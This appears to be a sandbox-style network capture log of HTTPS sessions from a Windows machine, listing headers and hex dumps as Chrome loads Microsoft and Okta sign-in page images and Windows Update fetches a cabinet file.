2024-10-24 09:57:32 UTC	1378	IN	Data Raw: 65 78 74 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 72 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 6e 76 6f 6b 65 28 22 74 68 72 6f 77 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 74 75 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 6e 76 6f 6b 65 28 22 72 65 74 75 72 6e 22 2c 65 29 7d 3b 76 61 72 20 54 2c 6b 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 41 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 6a 3d 28 54 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6b 2e 63 61 6c 6c 28 65 29 3b 72 65 74 75 72 6e 20 54 5b Data Ascii: ext",e)},e.prototype.throw=function(e){return this._invoke("throw",e)},e.prototype.return=function(e){return this._invoke("return",e)};var T,k=Object.prototype.toString,A=Object.getPrototypeOf,j=(T=Object.create(null),function(e){var t=k.call(e);return T[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49727	13.107.253.67	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:31 UTC	418	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:32 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:31 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 7413ac6e-101e-002a-2a27-241c46000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T095731Z-17fbfdc98bbvvplhck7mbap4bw00000000m0000000001mk4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 09:57:32 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49713	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:31 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=aa18pPBfZOLSHZ1&MD=3CrBuWA5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-24 09:57:32 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 7f2fd693-32be-4d9b-a696-c26e15c48274 MS-RequestId: 54630404-c145-4365-87d7-baeccb6ad6dc MS-CV: oqb6ChVYyE+wcrdP.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 24 Oct 2024 09:57:31 GMT Connection: close Content-Length: 24490
2024-10-24 09:57:32 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-24 09:57:32 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49731	13.107.253.67	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:32 UTC	414	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:32 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:32 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:34 GMT ETag: 0x8D79B8371B97A82 x-ms-request-id: 3357c10a-801e-005a-75fb-25a5b1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T095732Z-r1755647c66prnf6k99z0m3kzc00000009ng000000002se9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 09:57:32 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49730	13.107.253.67	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:32 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:32 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:32 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:30 GMT ETag: 0x8D7B0071D86E386 x-ms-request-id: 990a6b79-701e-0003-7dfb-252232000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T095732Z-17fbfdc98bbgqz661ufkm7k13c00000006z0000000004zwn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-24 09:57:32 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49732	13.33.187.120	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:32 UTC	374	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:32 UTC	684	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Mon, 14 Oct 2024 07:29:52 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Tue, 14 Oct 2025 07:29:52 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes X-Cache: Hit from cloudfront Via: 1.1 78668cba389ee6455cf1c23180f33cf8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: U-1h_v_PoMbgp_tJkbuylbL-RNOlsQBzNFZ7jRQucna-6HkmG2ajww== Age: 872860
2024-10-24 09:57:32 UTC	10796	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49733	152.199.21.175	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:32 UTC	420	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:32 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 18414076 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Thu, 24 Oct 2024 09:57:32 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (lhc/7936) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 91dbb46b-a01e-00e9-0b81-7e3c42000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-10-24 09:57:32 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49740	152.199.21.175	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:34 UTC	656	OUT	GET /c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/illustration?ts=636777842252358527 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:34 UTC	720	IN	HTTP/1.1 200 The condition specified using HTTP conditional header(s) is not met. Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=86400 Content-MD5: PSb7Q1YuHsCRHf/xFZfhtQ== Content-Type: image/* Date: Thu, 24 Oct 2024 09:57:34 GMT Etag: 0x8D64A12E0B0B5A9 Last-Modified: Wed, 14 Nov 2018 09:23:45 GMT Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 6d3a1fce-b01e-003f-60fb-259bee000000 x-ms-version: 2009-09-19 Content-Length: 104224 Connection: close
2024-10-24 09:57:35 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 f0 00 f0 00 00 ff e1 12 be 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 11 00 fe 00 04 00 00 00 01 00 00 00 00 01 00 00 04 00 00 00 01 00 00 14 5c 01 01 00 04 00 00 00 01 00 00 0d 8c 01 02 00 03 00 00 00 03 00 00 08 e6 01 03 00 03 00 00 00 01 00 01 00 00 01 06 00 03 00 00 00 01 00 02 00 00 01 0f 00 02 00 00 00 10 00 00 08 ec 01 10 00 02 00 00 00 0c 00 00 08 fc 01 11 00 04 00 00 00 01 00 00 67 b2 01 15 00 03 00 00 00 01 00 03 00 00 01 16 00 04 00 00 00 01 00 00 0d 8c 01 17 00 04 00 00 00 01 06 76 d5 e0 01 1c 00 03 00 00 00 01 00 01 00 00 01 31 00 02 00 00 00 2a 00 00 09 08 01 32 00 02 00 00 00 14 00 00 09 32 87 69 00 04 00 00 00 01 00 00 09 46 ea 1c 00 07 00 00 08 0c 00 00 00 da 00 00 00 00 1c ea 00 00 00 08 00 Data Ascii: JFIFExifMM\gv122iF
2024-10-24 09:57:35 UTC	1	IN	Data Raw: 8c Data Ascii:
2024-10-24 09:57:35 UTC	16383	IN	Data Raw: d2 b3 dc 49 9d f2 9c f3 e9 5b de 31 d4 8d fe a4 b6 51 b7 ee d0 e5 f1 58 bf 4e d4 00 f8 53 7c 9f 37 dd 03 2d f4 a9 19 8b b1 63 df 9a 00 f2 e0 03 f8 9f 93 f4 ed fe 7e 94 03 c5 00 00 e3 eb 4f 53 9a 61 e9 c5 39 10 f0 45 00 49 50 cf 00 99 72 bc 38 e9 ef 53 0e 69 71 40 18 93 db ef 05 58 61 85 55 b7 b8 96 c2 e0 f1 91 fc 4b eb 5d 04 f6 de 70 ca f0 e3 a1 f5 ac b9 ed bc d0 55 86 d7 1e b4 01 d2 68 7a 9c 49 24 6c e4 bd b3 1c 13 dd 3f 0f e9 5e af a5 47 62 d1 c6 f1 ed 75 20 10 47 43 5f 3e da 5d 4b a7 5c 10 c0 94 27 e7 4f 51 eb 5e 81 e1 7f 11 0b 23 18 79 0c 96 52 1e 0f 78 cf f9 ea 28 03 d7 9e 38 9b 05 14 7d 69 a4 a2 f1 4d b1 9a 39 6d d1 95 83 2b 00 41 07 20 8a 6d c2 ed 72 c3 91 ef 40 12 90 1b ee 9a 61 90 e0 a3 f5 ec 6a b1 93 a0 57 e7 d6 95 88 65 c1 24 9a 00 86 68 f6 e7 Data Ascii: I[1QXNS\|7-c~OSa9EIPr8Siq@XaUK]pUhzI$l?^Gbu GC_>]K\'OQ^#yRx(8}iM9m+A mr@ajWe$h
2024-10-24 09:57:35 UTC	16383	IN	Data Raw: 95 3e a3 de b5 34 cb bb 5b bb 59 ad af 23 db 2b 92 d2 43 21 ce 7e 99 ed 5c be 93 ad b4 30 f9 17 52 ba 2b 70 24 53 83 5b 9a a2 5a 5f c7 1c d0 4c 21 b8 66 c4 44 1c 12 d8 ce 07 e5 40 1c 37 8b b4 4b b8 d5 6f b4 dd d2 69 cc 77 ed da 43 c4 3d fb e2 b9 b3 37 9f 0a c3 1b 70 4e 4d 7a 34 7a f5 d2 bb 69 fa 98 8a 3b c2 31 0b cb 90 92 7b 1f 4a cb f1 1f 80 83 b3 de e8 c7 6f 19 7b 65 ef ee bf e1 40 18 7a 7c 56 da 7a 06 4c 73 96 3d f9 ab 9f da 49 24 25 01 f9 57 9a c0 96 39 23 84 c4 15 90 a9 c1 c8 c6 3d 45 3a d5 91 57 e6 7f 9f 91 c7 6a 00 8f 54 93 ce 55 75 3f 3e 09 02 b0 64 85 2e d7 72 61 65 1f ad 6b ea 4a c6 35 f2 f9 2a 79 c5 63 3a c9 0b 67 95 e3 20 7a d0 05 32 19 1b 6b 82 08 ed 4f 56 ab 67 cb bb 4c 3f ca e0 70 d5 51 e3 78 5f 6b 8c 1f 5f 5a 00 99 39 35 68 6c 08 01 ea 6a Data Ascii: >4[Y#+C!~\0R+p$S[Z_L!fD@7KoiwC=7pNMz4zi;1{Jo{e@z\|VzLs=I$%W9#=E:WjTUu?>d.raekJ5*yc:g z2kOVgL?pQx_k_Z95hlj
2024-10-24 09:57:35 UTC	2	IN	Data Raw: 47 00 Data Ascii: G
2024-10-24 09:57:35 UTC	16383	IN	Data Raw: 86 18 20 d3 19 4a ba d2 f4 39 1c 1a 00 cd d3 ae cf 86 35 2f b2 dc 31 fe cb b9 7f 91 cf fc b0 7f f0 35 ee 1e 18 d7 bf b4 6d 85 9d d3 e6 ea 25 f9 58 9f f5 ab eb f5 1f fd 7a f1 eb cb 68 af ac da 19 97 72 b0 c7 d2 97 c2 5a d5 c6 9b 7f 1e 93 7b 31 4b 88 4e eb 2b 82 7e f8 1f c3 f5 1f cb 8a 00 f7 97 e0 d4 0c 49 35 5f 4c d5 53 56 b2 12 60 2c c9 c4 a8 3b 1f 51 ec 6a 67 63 40 0b 9e 29 33 cd 44 5e 98 64 e7 8a 00 b5 bb 8a 51 21 53 d2 aa ac 95 27 98 4f 5c 50 05 82 c2 45 35 14 91 00 b9 5c d3 01 27 a1 a9 91 59 87 a0 a0 0a 4f 26 da a1 73 36 6b 4a f2 01 1a f0 73 9a c5 b8 07 9c d0 05 69 64 c9 e2 ab bb 7c b5 23 1e 4d 42 e2 80 20 6e b4 80 7a d3 c8 c5 25 00 28 00 74 a7 83 51 83 4a 0d 00 4c af 8a 42 d9 a6 53 c0 a0 03 71 c5 1b f1 49 8a 42 33 d2 80 06 72 69 02 96 a7 22 65 aa d2 Data Ascii: J95/15m%XzhrZ{1KN+~I5_LSV`,;Qjgc@)3D^dQ!S'O\PE5\'YO&s6kJsid\|#MB nz%(tQJLBSqIB3ri"e
